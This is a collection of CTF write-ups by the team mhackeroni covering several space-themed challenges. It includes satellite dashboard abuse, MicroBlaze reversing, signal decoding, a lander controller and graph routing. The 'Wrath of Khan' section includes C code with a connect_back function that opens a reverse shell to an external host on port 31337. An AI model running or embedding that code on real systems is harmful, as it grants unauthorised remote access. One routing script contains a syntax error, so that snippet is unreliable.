Skip to content

Latest commit

 

History

History
1080 lines (829 loc) · 37.4 KB

9. mhackeroni_writeups.md

File metadata and controls

1080 lines (829 loc) · 37.4 KB

mhackeroni writeups

F'DA Approved Beef

Challenge Description

The challenge is presented to us with an endpoint reachable by netcat. Once connected to the remote host, we got a web endpoint valid for 15 minutes. The website presents a dashboard with various features.

Among these, the most interesting were:

  • Shell command execution: allows to run shell commands
  • Downlink: allows to download files from the remote server
  • Uplink: allows to upload files to the server
  • Flag enable: allows to provide a file, whose content will be parsed in order to get the flag.

Analysis

Through the shell command execution, we listed the content of the home directory, downloaded the command output through the downlink feature, found three intersting files and downladed them through downlink.

  • attempts.txt
  • satellite.exe
  • run_space.sh

By analyzing run_space.sh, we understood that satellite.exe is started when the service is created. By the file command, it's easy to notice that satellite.exeis a ELF 64-bit LSB pie executable, and by running strings command on it, it makes use of the flag and contains strings relative to the commands provided in the dashboard. So, we thought that was the binary, running in another environment, to process the dashboard's commands. Since run_space.sh saves the flag in the .FlagData file, and it wasn't in the home directory, we opened the binary in IDA to reverse engineer it. We searched for the .FlagData string to understand what the binary do with the flag file. By following references to this string, we found the function sub_5CBF0. The most relevant lines of code there are

flag_file = std::filebuf::open(flagBuffer, ".FlagData", 8LL);
 if ( !(unsigned __int8)std::__basic_file<char>::is_open(v39) )
  {
    sub_64350((__int64)"Could not open flag data file on startup", 0LL, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL);
    goto LABEL_12;
  }

//really long code to save flag in memory

remove(".FlagData");

Basically, it opens .FlagData, reads the content in memory, and deletes the file. Since the binary is able to unlock the flag when provided with the correct input file, we guessed that between file opening and deleting the flag is loaded in some memory position.

At this point, we searched for the flag string in the binary, to retrieve the part of code that unlocks the flag, and found --- Flag Unlocked ---. We landed in sub_5D750.

The routine wasn't easy to reverse engineer, so we proceeded by founding the code that prints Items Parsed, Valid Items and Invalid Items. We found it prints this by calling flag_enablein the dashboard, and reading the events log. From this, we found that each row in the provided file represents an item to be parsed, since we got a Items Parsed value that corresponding to the number of rows in the file provided.

By running flag_enable with the provided attempt.txt, we figured out it contained some valid values. By the uplink feature, we tried each value one by one, and found that 2 was a valid one. Then, we tried to upload a file containing multiple twos, and each of them was recognizes as valid.

Then, we analyzed the following line of codes

  __snprintf_chk(
    v112,
    128LL,
    1LL,
    128LL,
    "Items Parsed: %lu, Valid Items: %lu, Invalid Items: %u",
    parsed_items,
    (valid_items[1] - valid_items[0]) >> 2,
    (unsigned int)invalid_items);


    if ( valid_items[1] - valid_items[0] == 8088 && !(_DWORD)invalid_items )
  {
    sub_6DBC0(v69, "--- Flag Unlocked ---");

    //really long incomprensible code

    sub_6DBC0(&v89, "flag.txt");

    //other really long incomprensible code
  }

Solution

Since the number of valid items is computed by (valid_items[1] - valid_items[0]) >> 2, and the flag is unlocked when the condition valid_items[1] - valid_items[0] == 8088 && !invalid_items is met, we understood that the flag is unlocked when a file with 2022 valid values and no invalid values is provided. From the subroutine sub_6DBC0(&v89, "flag.txt");, we guessed that the flag would be written in the flag.txt file. By uploading a file containing 2022 lines of twos, the flag was unlocked and written to the file flag.txt. We retrieved it with the downlink feature.


Fun in the sun

"Provide the the quaternion (Qx, Qy, Qz, Qw) to point your spacecraft at the sun at 2022-05-21 14:00:00 UTC The solar panels face the -X axis of the spacecraft body frame or [-1,0,0]"

Files analysis

Both the challenge files have weird extensions, so we started from inspecting the two provided files sat.tle and de440s.bsp to know what we were dealing with. We ended up conclufing that sat.tle is a two-line element set file, while de440s.bsp is a NASA SPICE file (in short it's space data).

A better approach

At first our approach was to get a rigorous understanding of the provided data but with the hours passing with little to no progress we decided to approach the problem in a more empirical way: minimizing the error returned after every attempt.

Starting from a random attempt which had an error of ~20°, we progressively modified every parameter of the quaternion individually with a "gradient decent" alike method, hoping to not fall into local minimums. After some tentative we got Qx=-0.76 Qy=-0.24 Qz=3.85 Qw=-2.1 with an error lower than 0.1°. It got us the flag!

The script

# import spiceypy as spice
import IPython
from pwn import *
import random

def sendQuad(r, Qx, Qy, Qz, Qw):
    r.sendline(bytes(f"{Qx}","utf-8"))
    r.recv()
    r.sendline(bytes(f"{Qy}","utf-8"))
    r.recv()
    r.sendline(bytes(f"{Qz}","utf-8"))
    r.recv()
    r.sendline(bytes(f"{Qw}","utf-8"))
    r.recvuntil(b"The solar panels are facing ")
    text_degrees=r.recvuntil(b" ")[:-1]
    try:
        degrees=float(text_degrees)
    except:
        print(f"Weird: {degrees}")
        print(r.recv(timeout=1))
        degrees=0
    r.recv(timeout=1)
    return degrees

def getConnection():
    r = connect("sunfun.satellitesabove.me", 5300)
    r.recv()
    r.sendline(b"ticket{victor124911india3:GPj-mdhCmUhiQuwXdbQR_NgCIvTpcugLY2q08KnUH2XetlpSSpDLVl1GAiCuKcNj0A}")
    r.recv()
    return r
def brute():
    Qx=(random.randint(0,628*2)-(2*314))/100
    Qy=(random.randint(0,628*2)-(2*314))/100
    Qz=(random.randint(0,628*2)-(2*314))/100
    Qw=(random.randint(0,628*2)-(2*314))/100
    r=getConnection()
    degrees=sendQuad(r, Qx, Qy, Qz, Qw)
    print(f"{degrees} Qx={Qx} Qy={Qy} Qz={Qz} Qw={Qw} ")
    r.close()

if __name__=="__main__":
    context.log_level="warning"
    i=0
    oldDeg=10000
    degrees=10
    Qx=-0.76
    Qy=-0.24
    Qz=3.85
    Qw=-2.1
    while i<100:
        offset= 0.01 if random.randint(0,1)==0 else -0.01
        if i%4==0:
            old=Qx
            Qx+=offset
        if i%4==1:
            old=Qy
            Qy+=offset
        if i%4==2:
            old=Qz
            Qz+=offset
        if i%4==3:
            old=Qw
            Qw+=offset
        r=getConnection()
        oldDeg=degrees
        degrees=sendQuad(r, Qx, Qy, Qz, Qw)
        print(f"{degrees} Qx={Qx} Qy={Qy} Qz={Qz} Qw={Qw} ")
        if degrees>oldDeg: # revert
            if i%4==0:
                Qx=old
            if i%4==1:
                Qy=old
            if i%4==2:
                Qz=old
            if i%4==3:
                Qw=old
            print(f"reverted to {oldDeg} Qx={Qx} Qy={Qy} Qz={Qz} Qw={Qw} ")
            degrees=oldDeg
        r.close()
        i+=1
    IPython.embed()

It's a wrap

Do you like inception?

Files analysis

The challenge provided two files, a library (libfoo.so) and a compiled python file (encrypt.pyc). We started inspecting those files. We partially reversed the python file, obtaining:

import argparse
from ctypes import c_void_p, cdll
from numpy.ctypeslib import ndpointer
import numpy as np

def print_matrix(matrix = None, n = None, m = None):
    pass


def do_encryption(phrase = None):
Unsupported opcode: JUMP_IF_NOT_EXC_MATCH
    np_phrase = np.zeros(8)
    np_phrase = np.array(phrase)
    "WARNING: Decompyle incomplete"

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('-d', '--data', True, 'Comma seperated string data to encrypt', **('required', 'help'))
    args = parser.parse_args()
    if args.data:
        phrase_in = args.data
        ph_list = (lambda .0: [ int(s) for s in .0 ])(phrase_in.split(','))
        result = np.zeros(9)
        result = do_encryption(ph_list)
        flat_result = result.flatten()
        flat_result = flat_result.tolist()
        print(','.join(map(str, flat_result)))
        return None
    None('No data processeed')
    return None

and then we inspected the other library, which seemed to apply something like an hill cipher for 3x3 matrices.

Then we connected to the online challenge and we saw:

You have inherited a simple encryption dll from previous project
that you must use.  It used to work but now it seems it does not.
Given the encryption matrix:
| -3 -3 -4 |
|  0  1  1 |
|  4  3  4 |
...and the phrase 'HACKASAT3'.

 Enter the phrase in standard decimal ASCII
 and the resulting encrypted list
    Example: 'XYZ': 88,89,90
             Encrypted list: 1,2,3,4,5,6,7,8

Solution

I had simply run:

python encrypt.pyc -d 72,65,67,75,65,83,65,84,51

which provided me as result:

-701,140,773,-726,149,791,-654,134,721

Which I then submitted and provided me the flag:

Enter phrase> 72,65,67,75,65,83,65,84,51
 Enter encrypted phrase> -701,140,773,-726,149,791,-654,134,721
 Entered phrase:  72,65,67,75,65,83,65,84,51
 Encrypted phrase:  -701,140,773,-726,149,791,-654,134,721

Computing encrypted phrase...

----------------------------------
Congradulations you got it right!!

Here is your flag:  flag{...}
----------------------------------

Small Hashes Anyways

Small Hashes Anyways is a reverse challenge on the MicroBalaze architecture. We are provided with a binary and a small MicroBlaze file system.

Running the binary

The first challenge is to actually run the binary, since nobody in our team ever worked on such architecture, but it turned out to be easier than thought, thanks to the provided file system. First of all, we need the correct qemu: qemu-microblaze, then we need to set the interpreter and the runpath: just place the binary in the MicroBlaze file system's root and use patchelf do the magic: patchelf --set-interpreter ./lib/ld.so.1 --set-rpath ./lib/ ./small_hashes_anyways.

Binary analysis

Finally we are able to run the binary with qemu-microblaze ./small_hashes_anyways. At this point we splitted into two groups: static analysis and dynamic analysis. The static analyisis, spent some time trying to get a decompiler for MicroBlaze and read the disassembly directly from the objdump output (the objdump provided with the challenge), but with a super simple dynamic analysis, we were able to solve the challenge. When run, the binary prints small hashes anyways: and waits for an input. After receiving some random characters, it outputs: wrong length wanted 109 got {length of the input}, so we gave him 109 As: mismatch 1 wanted 1993550816 got 3554254475. It looks like an hash, but... "mismatch 1", interesting, maybe it just checks one character at a time. Yes it does, modifying all, but the first character, does not change the output.

Solution

At this point is pretty clear what to do: we can just bruteforce one character at a time. This is the final script.

from pwn import *

flag = b""
context.log_level = "warning"
for i in range(109):
        for j in range(0x20, 0x80):  # Just printable characters
                r = process(["qemu-microblaze-static", "./small_hashes_anyways"])
                r.recvuntil(b"anyways: \n")
                r.sendline((flag + bytes([j])).ljust(109, b"A"))

                try:
                        r.recvuntil(b"mismatch ")
                except:  # Last time doesn't print "mismatch"
                        flag += bytes([j])
                        print("Done")
                        print(flag)
                        quit()

                msg = int(r.recvuntil(b" ")[:-1])
                if msg != i + 1:  # We found a new character :D
                        flag += bytes([j])
                        print(flag)
                        r.close()
                        break
                r.close()
        else:
                print("Nope")

Flag

> qemu-microblaze ./small_hashes_anyways
small hashes anyways:
flag{xray323625mike3:GDtRl-RrG5WnYx2SezuayUwy9ho5vtooC-p08gE0riZPlB_4A3Lo8q4SlTrwibV-2MzR1So4FIDwKrH5bhUllrY}
🏀 swish bay bee 😎

Space Jam

Connecting to the server we can send a json configuration setting up the characteristics we want our signal to be modulated. The server parses the configuration and sends the info to download the signal that contains the flag.

A simple configuration is like:

conf = {
        'frequency'         : 2100000,
        'constellation'     : 'QPSK' ,
        'samples_per_symbol': SAMPLES_PER_SYM,
        'diff_encoding'     : 'OFF'  ,
        'amplitude'         : 1000.0  ,
}

The flag signal is modulated according to the configuration, where samples_per_symbol indicates how many repeated samples the signal transmits for each single bit. Amplitude is capped at 1000. Analysing the resulting signal we can see how after around 256 samples, a much higher and noisy signal starts, which covers our flag signal. Decoding the flag signal indeed we decode FlagComingSoonFlagComingSoonFla... and then garbage. We did not manage to decode the high amplitude signal, but we noticed that even if that signal was noisy, after passing it through a low-pass filter, it was constant across requests.

Thus we can first send a configuation with a huge value in SAMPLES_PER_SYM (e.g., 1000000000000) so that the flag signal will be constant during the transmission, sending always the same bit. This will be our reference signal, composed by high_amplitude + noise + constant_bit_0, and by high_amplitude + constant_bit_0 = high_aplitude after denoising.

Then we can send a configuration with a much smaller SAMPLES_PER_SYM (e.g., 25), having back a signal composed by high_amplitude + noise + flag, and high_amplitude + flag after denoising.

Just subtracting and decoding the two signals gives a clean flag:

flag{bravo746361tango3:GIlEZgF3au73_EKidD9zwOlt8qPm3u6TaAd9uWVMT1TDeZ4h5nxGuAwrNVdRCxfbYOXL0ynDkMyA_tjZ0WSCFw8}

The Wrath of Khan

After connecting to the challenge with netcat, we are given an address of a web server where to upload a modified version of the Lander binary we are given.

Reverse engineering

The Lander binary was written in C++, and contains code to connect to a local server that is listening on localhost port 6000 on the remote machine. Once connected, the local server sends sensor data to the program, which contains the current position and acceleration on the three axes (XYZ) and the current G force felt by the probe.

Each time the program receives sensor data, it is expected to return a command indicating the acceleration to apply on the three axes and two boolean values which control whether to deploy the parachute and whether to activate the heat shield of the probe. This goes on in a loop. At the end of the simulation we are informed by the server about the outcome of the landing (crash or success) through the initial netcat connection.

The main loop of Lander is pretty straightforward, receiving a fixed-size "sensor" struct first, calculating a response through an internal FSM, and sending a fixed-size "command" struct back. The calculations done to generate a response were handled by a PID class supposedly emulating the PID controller of the probe we are trying to land, which was supposedly badly configured and had parameters and/or code to tweak (by patching the binary) in order to solve the challenge.

Our solution

Since we can upload an arbitrary executable, which will then be executed on the remote host, and since the remote machine had network access, we initially uploaded a reverse shell written in C in order to gain more information and maybe dump the remote challenge code. This did not help us much though, as all remote files were owned by a different user and thus inaccessible, and the environment did not contain any information.

Even though the web server provided graphical statistics of the probe landing, the graphs weren't very accurate, so we coded a wrapper in C which embedded the Lander binary patched to connect to port 5999 instead of 6000. Once uploaded and executed, the wrapper would start a local proxy server on port 5999, unpack Lander in /tmp, execute it, and then proxy all communication between the Lander and the actual server on port 6000. This allowed to sniff all the sensor data and commands and forward it to an external server controlled by us.

Since finishing reversing the Lander and patching the PID controller that the program was supposedly emulating was taking too long, we decided to upload a custom C program written by us that provided a simple immediate response to the sensor values given by the server:

  • If probe velocity on X or Y has modulo higher than 0.05, respond with an acceleration equal in modulus and opposite in sign.
  • As soon as the probe velocity reported by the sensors goes under 0.05 for both X and Y, stop accelerating and deploy both the parachute and the heat shield.

This was enough to safely land the probe and get us a flag. Probably not the intended solution, but a lot easier.

Solution code

Here's the complete code of the program to compile and upload to the web server:

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <unistd.h>
#include <stdint.h>
#include <math.h>

#define log(...) do { fputs("[wrapper] ", stderr); fprintf(stderr, __VA_ARGS__); } while (0)
#define logcont(...) do { fprintf(stderr, __VA_ARGS__); } while (0)
#define logexit(...) do { fputs("[wrapper] ", stderr); fprintf(stderr, __VA_ARGS__); _exit(1); } while(0)
#define errexit(msg)  do { fputs("[wrapper] ", stderr); perror(msg);  _exit(1); } while(0)

struct {
        float px, py, pz;
        float vx, vy, vz;
        float g;
} sensor;

struct {
        float ax, ay, az;
        uint32_t parachute;
        uint32_t heat_shield;
} cmd;

unsigned time = 0;

_Static_assert(sizeof(sensor) == 0x1c, "dammit");
_Static_assert(sizeof(cmd) == 0x14, "dammit");

void connect_back(void) {
        int sock;

        sock = socket(AF_INET, SOCK_STREAM, 0);
        if (sock == -1)
                errexit("socket back");

        struct sockaddr_in sa = {
                .sin_family = AF_INET,
                .sin_port = htons(31337),
                .sin_addr = { .s_addr = inet_addr("REDACTED") }
        };

        if (connect(sock, (struct sockaddr *)&sa, sizeof(sa)) == -1)
                errexit("connect back");

        dup2(sock, STDIN_FILENO);
        dup2(sock, STDOUT_FILENO);
        dup2(sock, STDERR_FILENO);
}

void react(void) {
        float vx = sensor.vx, vy = sensor.vy, vz = sensor.vz;

        if (fabs(vx) < 0.05 && fabs(vy) < 0.05) {
                cmd.ax = cmd.ay = cmd.az = 0;
                cmd.parachute = cmd.heat_shield = 1;
        } else {
                cmd.ax = -vx;
                cmd.ay = -vy;
                cmd.az = -vz;
                cmd.parachute = 0;
                cmd.heat_shield = 0;
        }
}

void start_faker(void) {
        struct sockaddr_in server_addr = {
                .sin_family = AF_INET,
                .sin_port = htons(6000),
                .sin_addr={ .s_addr = inet_addr("127.0.0.1") }
        };

        int server_sock = socket(AF_INET, SOCK_STREAM, 0);
        if (server_sock == -1)
                errexit("socket to server");

        if (connect(server_sock, (struct sockaddr *)&server_addr, sizeof(server_addr)))
                errexit("connect to server");

        while (1) {
                ssize_t n;

                n = read(server_sock, &sensor, sizeof(sensor));
                if (n != sizeof(sensor)) {
                        if (n < 0)
                                errexit("read from server");
                        else
                                logexit("short read from server: %ld", n);
                }

                time++;

                log("< t=%u pos=(%f %f %f) vel=(%f %f %f) g=%f\n",
                        time,
                        sensor.px, sensor.py, sensor.pz,
                        sensor.vx, sensor.vy, sensor.vz,
                        sensor.g
                );

                react();

                log("> t=%u acc=(%f %f %f) parachute=%d shield=%d\n",
                        time, cmd.ax, cmd.ay, cmd.az,
                        cmd.parachute, cmd.heat_shield
                );

                n = write(server_sock, &cmd, sizeof(cmd));
                if (n != sizeof(cmd)) {
                        if (n < 0)
                                errexit("write to server");
                        else
                                logexit("short write to server: %ld", n);
                }
        }
}

int main(void) {
        connect_back();
        start_faker();
        return 0;
}

Ominous Etude

Reverse engineering

The challenge comes with an ELF binary built for the Xilinx MicroBlaze 32-bit RISC architecture. After we disassembled the binary using the appropriate version of objdump, we started reverse engineering it using static analysis with the architecture reference on the hand.

The main function reads an integer and pass it to the quick_maths function, the result is then checked in the following way:

res = res ^ 1
if res & 0xff:
        print flag

In order to solve the challenge, we need to provide a 32bit unsigned integer that passes the check after being modified by the quick_maths function, so we need to reverse such function.

Solution

Since the required input is a 32bit unsigned integer, by re-writing the function in C with also the final check, we are able to brute force the correct value in less than a minute. Below you can find the final C script.

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>

int quick_maths(uint32_t n)
{
        uint32_t r4;
        uint32_t r3 = n;
        r3 = r3 - 161;
        r3 = r3 - 166;
        r3 = r3 - 251;
        r3 = r3 + 8219;
        r3 = r3 / 6;
        r3 = r3 - 227;
        r3 = r3 - 166;
        r3 = r3 / 15;
        r3 = r3 - 198;
        r3 = r3 - 152;
        r3 = r3 - 153;
        r3 = r3 + r3;
        r3 = r3 + r3;
        r3 = r3 + r3;
        r3 = r3 + r3;
        r3 = r3 + r3;
        r3 = r3 + 9624;
        r3 = r3 - 254;
        r3 = r3 ^ 0x2037841a;

        r4 = -r3;
        r3 = r4 | r3;
        r3 = r3 ^ 0xffffffff;
        r4 = r3 >> 31;
        r3 = r4;
        r3 = r3 & 0xff;

        return (r3 ^ 1) & 0xff;
}

int main(void)
{
        int i = 0;

        for (int i = 0; i < 0x100000000; i++) {
                if (quick_maths(i) == 0) {
                        printf("%d\n", i);
                        exit(0);
                }
        }

        return 0;
}

The script prints out the correct number that has to be base64 encoded to retrieve the flag from the remote connection.

flag: flag{alpha304440quebec3:GOHJQTY7P5xD9m1M1DYumWLndrCADnljGcXIFxxaBf578_CA8TAdc2k3pCUHJUG7jhi9fjavlZE07of7v5gH0rw}


Once Unop a Dijkstar

Reverse engineering

The challenge comes with a ELF 64-bit binary that reads 3 csv file containing information about edges of a satellite graph. The name of the challenge suggest that it implements the Dijkstra algorithm but that there is somewhere a bug that makes it unable to compute the correct path.

We started analyze statically the binary and we soon figured out that it uses a rust library implementation of the algorithm so there is no possible bug in it. So we started analyzing the way the graph was computer and how the weight of the edges were computed since a first test by running the algorithm in python with the weights in the csv file did not give us the correct solution.

After the analysis process we figured out these two information that lead us to the solution:

  1. The gateways csv file contains edges that are inverted in the graph computed by the binary: this enables us to compute a directed graph since we have to go from ShippyMcShipFace to Honolulu;
  2. The weight of the edges were computing by multiplying the weights in the csv files with a constant value that depends on the type of target node. Below you can find an implementation of the weight calculation function:
weight = weight_from_csv
if target_name is `ShippyMcShipFace` or `Honolulu`:                             # type 3
        weight *= 1999.9
else if int(target_name[-1]) % 3 == 0:                                                  # type 0
        weight *= 2.718
else if int(target_name[-1]) % 3 == 1:                                                  # type 1
        weight *= 3.141
else if int(target_name[-1]) % 3 == 2:                                                  # type 2
        weight *= 4.04

Solution

Once we found out that the binary was computing the shortest path using the Dijkstra algorithm with a custom weight function, we generate the directed graph with the python library networkx and used its implementation of the Dijkstra algorithm to get the correct path.

import networkx as nx

def read_nodes(f):
        nodes = []
        with open(f) as f:
                f.readline()
                for line in f:
                        name = line.strip().split(',')[1]
                        weight = line.strip().split(',')[2]

                        nodes.append((name.replace('Starlunk-', ''), 1999.9 * float(weight)))
        return nodes

def read_edges(f):
        edges = []
        with open(f) as f:
                f.readline()
                for line in f:
                        source = line.strip().split(',')[0].replace('Starlunk-', '')
                        target = line.strip().split(',')[1].replace('Starlunk-', '')

                        t = int(target[-1]) % 3
                        if t == 0:
                                const = 2.718
                        elif t == 1:  3.141
                                const = 3.141
                        else:
                                const = 4.04

                        weight = const * float(line.strip().split(',')[2])
                        edges.append((source, target, weight))
        return edges

sources = read_nodes('./users.csv')
targets = read_nodes('./gateways.csv')

G = nx.DiGraph()
G.add_node('ShippyMcShipFace')
G.add_node('Honolulu')

for source in sources:
        G.add_node(source[0])
        G.add_weighted_edges_from([('ShippyMcShipFace', source[0], source[1])])

for target in targets:
        G.add_node(target[0])
        G.add_weighted_edges_from([(target[0], 'Honolulu', target[1])])

G.add_weighted_edges_from(read_edges('sats.csv'))
path = nx.dijkstra_path(G, 'ShippyMcShipFace', 'Honolulu')
print(', '.join(path))

The python script prints out the path that has to be submitted to the server to retrieve the flag.

flag: flag{charlie197493mike3:GOQe-mocSo6kvtGD5InCZYb3VwzmsktExxlyK1QG4n4MBYGvar1sybEie8OmT-PxPUhPDZL63PzYLNJ_gh4ep7U}


Matters of State

In this challenge we simply tried sending nan at every asked question and surprisingly this got us the flag.


Red-Alert

We're provided with a CLI endpoint and that gives us a Grafana instance.

After a little exploring of the Grafana environment, we found some contact points that controlled the mission. We also found a database connection that gave us details about the satellite equipment, we decided to plot three graphs regarding:

  • the satellite temperature
  • the satellite battery
  • the detector range

After that, we started the mission and analyzed the behavior of each of these parameters. We found out that the two instruments consume a lot of energy and the laser also heats up the satellite a lot. We also noticed that the laser destroyed the debris only if the range was below 1000.

So we manually run the satellite throttling the detector activity to save battery and activating the laser every time a piece of debris got in range. After a while, the mission CLI printed out the flag.


Power Level

When connected to the challenge, we are sent a sample of a signal and in return must provide its frequency and signal to noise ratio in dB.

After downloading the sample via netcat (nc url port >sample.bin), the first step was to analyze its format. We are told by the server that it is sending 100k samples, and the file is 800k bytes in size, so each sample must be 8 bytes long. We later (when using gnuradio) learned that the stream was a series of IQ samples, each being a pair of 4 byte floats.

We applied the fourier transform to the signal to extract the frequency with the highest amplitude. Note that in this script we treat each sample as an 8 byte integer, as we hadn't figured out the IQ format yet.

from scipy.fftpack import fft, fftfreq
import struct
import numpy as np
from math import log10

u64 = lambda x : struct.unpack('<Q', x)[0]

with open('sample.bin', 'rb') as fin:
    data = fin.read()
    samples = []
    for i in range(0, len(data), 8):
        samples.append(u64(data[i:i+8]))


N = 100000
T = 1.0/100000
x = np.array(samples)
yf = fft(x)
xf = fftfreq(N, T)[:N//2]

print(yf)

freqs = 2.0/N * np.abs(yf[0:N//2])
pos = np.argmax(freqs[50:])
print(xf[50:][pos])

import matplotlib.pyplot as plt
plt.plot(xf, 2.0/N * np.abs(yf[0:N//2]))
plt.grid()
plt.show()

We tried in multiple ways to obtain the SNR in Python but failed, so we moved to gnuradio. There, we used the MPSK SNR Estimator block, feeding it data through a Throttle and passing its output to a Tag Debug block to see the calculated SNR value.

Finally, sending both values gave us the flag.


Power Point

The challenge was divided in two main parts:

  • tracking the moving satellite
  • decoding the resulting signal

Additionally, we know that the flag starts at byte 7200

Tracking

In this challenge we are on a moving platform and we have to receive a signal from a moving satellite. Both are moving in unknown ways, and we only know that the satellite is "North-ish and sort of close to the horizon" at the start.

Through some manual trial and error, we found a starting position where we could receive data from to be az = 10, el = 19. By scripting the interaction, we could start to dump all the received data, but the satellite eventually moved away and the connection was lost.

To track the satellite, we developed a simple algorithm:

  • If we are receiving data (as measure by its SNR), stay still
  • Otherwise, start probing at random positions around the last known good one

Clearly, not a very powerful algorithm, but sufficient for our case and it requires no additional information other than the signal itself. Indeed, we were now able to receive the data and track the satellite as well, obviously losing a chunk of data every time the satellite moved away, but eventually finding it again and receiving more data.

The following is the tracking code, which saves all the data in dump.bin:

import struct, time, random, math
import numpy as np
from collections import Counter
from pwn import *

def unpack(data):
    real, imag = u32(data[:4]), u32(data[4:])
    return abs(real + imag * 1j)

def signaltonoise(a, axis=0, ddof=0):
    a = np.asanyarray(a)
    m = a.mean(axis)
    sd = a.std(axis=axis, ddof=ddof)
    return 20 * math.log10(np.where(sd == 0, 0, m/sd))

r = remote('power_point.satellitesabove.me', 5100)
r.sendlineafter(b'Ticket please:\n', b'TICKETHERE')

time.sleep(0.2)
r.recvuntil(b'accepts commands at ')
cmd_ip, cmd_port = r.recvline().decode().strip().split(':')
cmd_port = int(cmd_port)

time.sleep(0.2)
r.recvuntil(b'provide samples at ')
ip, port = r.recvline().decode().strip().split(':')
port = int(port)

aud_tcp = remote(ip, int(port))
cmd_tcp = remote(cmd_ip, int(cmd_port))

saved = (0,0)
az, el = 10,19
finding = False

while True:

    if finding:
        az += random.random() * 2 - 1
        el += random.random() * 2 - 1

    cmd_tcp.sendline(f'{az},{el}')
    data = aud_tcp.recvn(8192)

    samples = []
    for i in range(0, len(data), 8):
        samples.append(unpack(data[i:i+8]))
    samples = np.array(samples)

    snr = signaltonoise(samples)
    print(snr, f'{az},{el}', finding)

    with open('dump.bin', 'ab') as fout:
       fout.write(data)


    if finding:
        if snr > 10:
            finding = False
        else:
            az, el = saved
    else:
        if snr < 10:
            finding = True
            saved = (az, el)

Decoding the signal

Even with some gaps, we now had a dump of the data and it was time to decode it. By looking at it in a hex editor, we could clearly see some patterns in a first section and then a change of pattern after that. All the gaps were in the first part, so we were confident that the flag had not been corrupted.

From the previous challenge, we knew that we were most likely dealing with IQ samples, each 8 bytes long, so we started decoding them. With the following code, we started to see some patterns, and especially the fact that the signal was repeating 10 times before changing.

ff = unpack('ff', data[i:i+8])

if ff[0] > 0: x = 0
else: x = 1

if ff[1] > 0: y = 0
else: y = 1

At this point, all we needed was to figure out the order in which the two "channels" (x and y) and to be put together in, and if we had to invert their value or not. Trying all possibilities, it turned out that we were already decoding it correctly.

One last step in getting the flag was to understand that the bytes were send LSB first: this took some trial and error, but in the end was clear from the fact that in every 8 bits the last was set to 0, indicating LSB first ASCII.

Decoding code:

from struct import unpack

with open('dump.bin', 'rb') as fin:
    data = fin.read()

val_idx = 0
val_x = 0
val_y = 0
s = '.*oX'

nums = []
for i in range(7200*80*4, len(data), 80):
# for i in range(0, len(data), 80):
    ff = unpack('ff', data[i:i+8])

    if ff[val_idx] > 0: x = val_x
    else: x = 1 - val_x

    if ff[1 - val_idx] > 0: y = val_y
    else: y = 1 - val_y

    x = x*2+y
    nums.append(x)

    if len(nums) == 4:

        y = {
            'o': '01',
            '*': '10',
            'X': '00',
            '.': '11'
        }

        res = ''
        for x in nums:
            res += y[s[x]]
        print(chr(int(res[::-1], 2)), end='')

        nums = []

Crosslinks

nc crosslinks.satellitesabove.me 5300

Analysis

The input of the challenge was a series of TLEs of some satellites, alongside with some observations (each one expressed in the form [TIME, RANGE, RANGE_RATE]) taken from some of them. The goal was finding the satellite all the observations were related to.

Solution

Since we had a set of measurements with a range and a range rate, we tried to find the answer by picking a random satellite and an observation made from that satellite, then computing these values from scratch for every pair (chosen_sat, other_sat) at the same time of the observation, and finally choosing the satellite which, paired with the chosen satellite, gave the closest range value to the one we already had.

The script for doing this was:

from skyfield.api import load as skyload
from skyfield.api import EarthSatellite
from skyfield.toposlib import wgs84
from pwn import *
import re
from dateutil import parser
from numpy import array2string

ts = skyload.timescale()
r = remote("crosslinks.satellitesabove.me", 5300)
ticket = "ticket{romeo909745lima3:GAFhyj2pJADQTly13s58qm8hwSON4WeHUhhYSn3Jq2d7438cEOZv3A30ZuCGBxHxZg}"
print(r.sendlineafter(":\n", ticket).decode())
r.recvline()

satellites = {}
observations = {}
while True:
  while True:
      name = r.recvline().decode().strip()
      print(name)
      if name == "Measurements":
          break
      line1 = r.recvline().decode().strip()
      line2 = r.recvline().decode().strip()
      satellite = EarthSatellite(line1, line2, name, ts)
      satellites[name] = satellite

  name = r.recvline().decode().strip().replace("Observations ", '')
  observations[name] = []
  while True:
      r.recvline()
      while True:
          line = r.recvline().decode().strip()
          if re.compile("Obser*").match(line):
              name = line.replace("Observations ", '')
              observations[name] = []
              break
          if line == "What satellite am I:":
              break
          line = line.split(',')
          curr = {}
          curr['ts'] = line[0]
          curr['range'] = line[1].replace(' ', '')
          curr['rate_range'] = line[2].replace(' ', '')
          observations[name].append(curr)
      if line == "What satellite am I:":
          break

  keys  = list(observations.keys())
  sat_name = keys[0]
  sat_observations_list = observations[sat_name]
  current_observation = sat_observations_list[0]

  d = parser.parse(current_observation['ts'])
  t = ts.utc(d.year, d.month, d.day, d.hour, d.minute, d.second)

  currMin = (float('inf'), 'a')
  for sat in satellites.keys():

    currSat = satellites[sat]
    currSatPos = currSat.at(t)
    bluffton = wgs84.latlon(200.0, 800.0)

    currPos = (satellites[sat_name] - currSat).at(t)
    _, _, the_range, _, _, range_rate = \
      currPos.frame_latlon_and_rates(bluffton)
    if (abs(float(the_range.km) - float(current_observation['range'])) < currMin[0]):
      currMin = (abs(float(the_range.km) - float(current_observation['range'])), sat)

  r.sendline(currMin[1])
  print(r.recvline().decode())
  print(r.recvline().decode())
  r.recvline()